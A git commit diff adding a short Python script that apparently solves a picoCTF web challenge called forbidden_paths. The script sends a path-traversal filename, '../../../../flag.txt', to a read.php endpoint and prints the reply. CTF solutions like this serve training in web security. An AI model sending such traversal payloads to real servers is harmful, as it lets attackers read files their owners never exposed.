web/forbidden_paths
This commit is contained in:
parent
b9f1b23f5c
commit
db7fdfaa6c
|
@ -0,0 +1,23 @@
|
||||||
|
#!/usr/bin/env nix-shell
|
||||||
|
#!nix-shell -i python3 -p python3Packages.requests
|
||||||
|
# coding: utf-8
|
||||||
|
|
||||||
|
import json
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
BASE_URL = "http://saturn.picoctf.net:54384/"
|
||||||
|
|
||||||
|
def main():
|
||||||
|
r = requests.post(
|
||||||
|
BASE_URL + 'read.php',
|
||||||
|
data = {
|
||||||
|
'filename': "../../../../flag.txt"
|
||||||
|
},
|
||||||
|
)
|
||||||
|
print(r)
|
||||||
|
print(r.text)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
|
|
Loading…
Reference in New Issue